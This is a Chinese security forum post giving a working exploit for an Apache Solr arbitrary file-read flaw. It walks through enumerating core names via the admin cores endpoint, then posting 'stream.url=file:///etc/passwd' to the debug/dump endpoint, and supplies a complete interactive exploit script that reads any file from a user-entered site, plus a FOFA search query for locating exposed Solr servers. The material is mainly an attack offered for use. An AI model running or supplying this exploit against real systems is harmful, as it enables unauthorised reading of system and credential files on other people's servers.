用户
搜索
  • TA的每日心情
    慵懒
    2018-8-12 16:17
  • 签到天数: 8 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋-核心白帽

    Rank: 4

    30

    主题

    102

    帖子

    406

    魔法币
    收听
    0
    粉丝
    17
    注册时间
    2017-4-30
    发表于 2021-3-18 21:48:12 35410

    Apache-Solr任意文件读取exp

    2021.3.18的,也就是今天刚出来的

    漏洞利用方式很简单,但是网上说的不是很完整。

    首先我们需要访问:

    /solr/admin/cores?indexInfo=false&wt=json

    然后看相应数据:

    {
      "responseHeader":{
        "status":0,
        "QTime":0},
      "initFailures":{},
      "status":{
        "ingredients":{
          "name":"ingredients",
          "instanceDir":"/var/solr/data/ingredients",
          "dataDir":"/var/solr/data/ingredients/data/",
          "config":"solrconfig.xml",
          "schema":"schema.xml",
          "startTime":"2021-03-18T11:41:26.398Z",
          "uptime":211644}}}
    

    差不多这个样子,ingredients就是我们需要的

    构造路径:

    "/solr/".ins."/debug/dump?param=ContentStreams&wt=json"

    ins就是我们得到的实例对象的名称

    他们说会返回xml格式的,网上的都是不带wt=json,但是我发现,dump接受这个参数,也会输出json格式

    并且我们在上面获取ins的时候是可以判断服务器类型的

    上面的话呢应该是:

    /solr/ingredients/debug/dump?param=ContentStreams&wt=json

    然后是个post数据包,路径有了,内容就是:

    stream.url=file:///etc/passwd

    然后也会得到一个json,这里就不带结果了

    最后附上exp:

    #define insqian = "name":"
    #define inshou = "
    #define contentqian = "stream":"
    #define contenthou = "}]
    function Getinstance(url){
        res = HttpGetSafe(url."/solr/admin/cores?indexInfo=false&wt=json","User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");
        if(StrFindStr(res[0],"initFailures",0) == "-1"){
            return "";
        }
        return GettextMiddle(res[0],insqian,inshou);
    }
    function GetFileContent(url,ins,FilePath){
        res = HttpPostSafe(url."/solr/".ins."/debug/dump?param=ContentStreams&wt=json","stream.url=file://".FilePath,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");
        con = GettextMiddle(res[0],contentqian,contenthou);
        return StrReplace(con,"\\n",StrRN());
    
    }
    
    function main(args){
        print("请输入测试的站点:");
        url = input();
        ins = Getinstance(url);
        if(ins == ""){
            print("不存在漏洞");
        }else{
            print("可能存在漏洞,instanceName:".ins.",请输入要查看的文件名称:");
            wb = input();
            while(wb != "exit"){
                print(GetFileContent(url,ins,wb));
                wb = input();
            }
        }
    }

    带一张效果图:

    fofa搜索:

    app="Apache-Solr"
    get~
    使用道具 举报 回复
    你太好啦!
    使用道具 举报 回复
    发表于 2021-4-2 15:43:44
    emmmm
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册